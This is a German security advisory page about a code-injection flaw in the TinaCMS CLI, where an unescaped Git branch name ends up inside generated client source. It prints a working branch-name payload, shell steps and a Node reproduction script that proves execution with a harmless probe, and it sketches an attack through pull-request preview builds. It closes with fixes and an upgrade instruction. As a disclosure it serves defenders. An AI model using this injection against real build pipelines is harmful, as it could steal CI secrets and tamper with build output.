Hoch

Tina: Code-Injection über ungesicherten Git-Branch-Namen im generierten Client-Quellcode

  • Veröffentlicht: 09.10.2026
  • Aktualisiert: 11.10.2026 10:28

Zusammenfassung

@tinacms/cli fügt den ungeprüften Wert des Git-Branches ohne Maskierung oder Kodierung in den generierten client.ts-Quellcode ein. Ein nach Git-Regeln gültiger Branch-Name kann das Zeichenfolgenliteral schließen und einen beliebigen JavaScript-Ausdruck injizieren, der ausgeführt wird, sobald der Build-Prozess das generierte Client-Modul importiert.

Betroffene Komponente

  • Quelle (Branch-Auslesen): packages/@tinacms/cli/src/cmds/init/templates/config.ts Zeilen 155–172 — liest VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH oder HEAD in config.branch ein
  • Transformation (URL-Erstellung): packages/@tinacms/cli/src/next/codegen/index.ts Zeilen 219–253 — _createApiUrl() verkettet den unveränderten Branch-Namen ohne encodeURIComponent mit der API-URL
  • Sink (Template): packages/@tinacms/cli/src/next/codegen/index.ts Zeilen 363–381 — genClient() interpoliert die URL in url: '${apiURL}'
  • Verwandter Sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts Zeile 55 — url: "${apiURL}" (gleiches Muster, doppelte Anführungszeichen)

Ursache

Das Codegen-Template in index.ts:376 verwendet:

ts
url: '${apiURL}'

wobei apiURL den unveränderten Branch-Namen enthält. Zu keinem Zeitpunkt in der Pipeline wird JSON.stringify, encodeURIComponent oder eine String-Maskierungsfunktion angewendet. Ein einfaches Anführungszeichen im Branch-Namen schließt das Zeichenfolgenliteral und ermöglicht die Injektion von Ausdrücken.

Payload

Folgendes ist ein gültiger Git-Branch-Name (akzeptiert von git check-ref-format):

x'+(globalThis.__TINA_PROBE='hit')+'

Generierter Quellcode (Sink)

Wenn die Codegenerierung mit diesem Branch ausgeführt wird, enthält die generierte Datei client.ts:

ts
export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

Das Zeichen ' im Branch-Namen schließt den URL-String ab. +(globalThis.__TINA_PROBE='hit')+ wird als JavaScript-Ausdruck interpretiert. Das nachfolgende +' öffnet den String erneut, um die Syntax gültig zu halten.

Schritte zur Reproduktion

Voraussetzungen: Node.js, Git, npm

bash
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Erstellen Sie repro.mjs:

js
import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Ausführen: node repro.mjs

Ergebnis: globalThis.__TINA_PROBE wird auf 'hit' gesetzt, was bestätigt, dass der injizierte Ausdruck während der Modulauswertung ausgeführt wurde.

Negativkontrolle: Eine Wiederholung mit branch = "feature/safe-branch" löst die Injektion nicht aus.

Auswirkungen

Der injizierte Ausdruck wird mit den vollständigen Berechtigungen des Build-Prozesses ausgeführt. In typischen Preview-Deployments auf Vercel oder GitHub Actions:

  • Build-Umgebungsvariablen sind zugänglich (process.env), was NPM_TOKEN, VERCEL_TOKEN, Secrets von Cloud-Providern und API-Schlüssel umfassen kann
  • Build-Artefakte können verändert werden, was zu einer Supply-Chain-Kompromittierung der erzeugten Ausgabe führen kann
  • Netzwerkzugriff besteht, wodurch Daten exfiltriert werden können

Angriffsszenario: Ein Angreifer öffnet einen Pull Request für ein Open-Source-Projekt, das TinaCMS mit aktivierten Preview-Deployments nutzt (Vercel deployt jeden PR-Branch automatisch). Der Branch-Name des Angreifers enthält die Payload. Der Preview-Build führt Tina-Codegen aus, generiert die manipulierte Datei client.ts, und der Code des Angreifers wird während des Builds ausgeführt.

Voraussetzungen:

  1. Angreifer kann einen Branch oder PR erstellen, der einen Build auslöst
  2. Projekt nutzt TinaCMS mit der standardmäßigen Branch-Konfiguration (liest aus VERCEL_GIT_COMMIT_REF oder Äquivalent)
  3. Tina SDK-Codegen ist aktiviert (Standardeinstellung)

Schweregrad-Einstufung

Hoch (High) — Ausführung von beliebigem Code zur Build-Zeit über eine kontrollierte Git-Referenz. Ein kritischer Schweregrad wurde nicht vergeben, da im Nachweis keine reale Exfiltration von Geheimnissen oder Manipulation von Release-Artefakten erfolgte, sondern nur ein harmloser Indikator gesetzt wurde.

Vorgeschlagene Behebung

  1. Verwenden Sie JSON.stringify(value), um alle zur Laufzeit interpolierten Werte in generierten Quellcode-Templates sicher zu serialisieren
  2. Wenden Sie encodeURIComponent() auf den Branch-Wert an, bevor das API-URL-Pfadsegment konstruiert wird
  3. Wenden Sie dieselbe Behandlung auf apiURL, token, errorPolicy, cacheDir und das Template AddGeneratedClientFunc in plugin.ts an
  4. Ziehen Sie in Betracht, Laufzeitwerte vollständig aus Quellcode-Templates zu entfernen und sie stattdessen über eine JSON-Konfigurationsdatei zu übergeben, die der generierte Client zur Laufzeit einliest

Verwandte Sicherheitsmeldung

GHSA-4936-9hrh-qqpw — TinaCMS Forestry-Migration RCE in generiertem Quellcode. Andere Quelle (Forestry-YAML-Labels), anderer Parser (__TINA_INTERNAL__-Unquoting-Hilfsfunktion) und anderer Sink (tina/templates.ts). Dieser Bericht ist kein Duplikat.

Was zu tun ist

Aktualisieren Sie @tinacms/cli auf Version 3.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @tinacms/cli < 3.0.0 3.0.0

Verweise

CVSS-Wert 8.2/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Schwäche (CWE)
CWE-94
Plattform
npm
Paket
@tinacms/cli
Veröffentlicht
09.10.2026
Aktualisiert
11.10.2026 10:28

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0

Schwachstellenhistorie: @tinacms/cli

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (9) im Archiv
Einträge insgesamt
9
Erste → letzte
02.2023 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 6
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2023: 1
  2. 2024: 1
  3. 2025: 1
  4. 2026: 6
Schweregrad:
  1. Tina: Code-Injection über ungesicherten Git-Branch-Namen im generierten Client-Quellcode dieser Eintrag
    Hoch · 8.2 CVE-2026-108259 < 3.0.0 3.0.0
  2. Hoch CVE-2025-68278 < 2.0.4 2.0.4
  3. Hoch · 7.5 CVE-2024-45391 < 1.6.2 1.6.2
  4. Hoch · 8.6 CVE-2023-25164 >= 1.0.0, < 1.0.9 1.0.9

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.